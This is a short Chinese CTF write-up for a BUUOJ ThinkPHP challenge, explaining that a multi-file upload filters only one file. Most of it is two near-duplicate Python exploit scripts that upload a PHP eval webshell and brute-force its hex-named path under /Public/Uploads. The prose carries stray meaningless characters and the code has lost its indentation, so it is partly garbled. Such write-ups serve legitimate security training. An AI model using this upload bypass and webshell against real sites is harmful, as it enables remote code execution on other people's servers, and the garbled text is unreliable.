首先確認(rèn)入口點(diǎn)把我折騰了好一會(huì)兒，最后才明白是單模塊的ThinkPHP,入口點(diǎn)為/index.php/home/index/upload
經(jīng)過分析括堤，發(fā)現(xiàn)是多文件上傳，過濾處理僅處理了一個(gè)文件烁登，可以同時(shí)上傳多個(gè)文件直接解出題目贫导，其它文件我們可以用暴力的方法推斷出文件路徑，具體解題腳本如下
python3(未確認(rèn)正確性):
import requests
import time
import json
url = "http://33553ba3-3ecf-4551-af99-378c3c2504a6.node3.buuoj.cn"
path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
param=json.loads(r.content)
print(param)
t1 = int(t1, 16)
j = t1
while True:
path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:]
try:
r = requests.get(path,timeout=1)
except:
continue
if r.status_code == 429:#規(guī)避過于頻繁訪問導(dǎo)致的429
time.sleep(0.1)
continue
elif r.status_code != 404:
print(path)
print(r.text)
break
print(j, path, r.status_code)
j -= 1
python2(用這個(gè)拿的flag):
import requests
import time
import json
url = "http://443e6467-a00e-47ec-b8cb-6af3da800131.node3.buuoj.cn/"
path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
param=json.loads(r.content)
print param
t1 = int(t1, 16)
j = t1
while True:
path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:]
try:
r = requests.get(path,timeout=1)
except:
continue
if r.status_code == 429:#規(guī)避過于頻繁訪問導(dǎo)致的429
time.sleep(0.1)
continue
elif r.status_code != 404:
print path
print r.text
break
print j, path, r.status_code
j -= 1
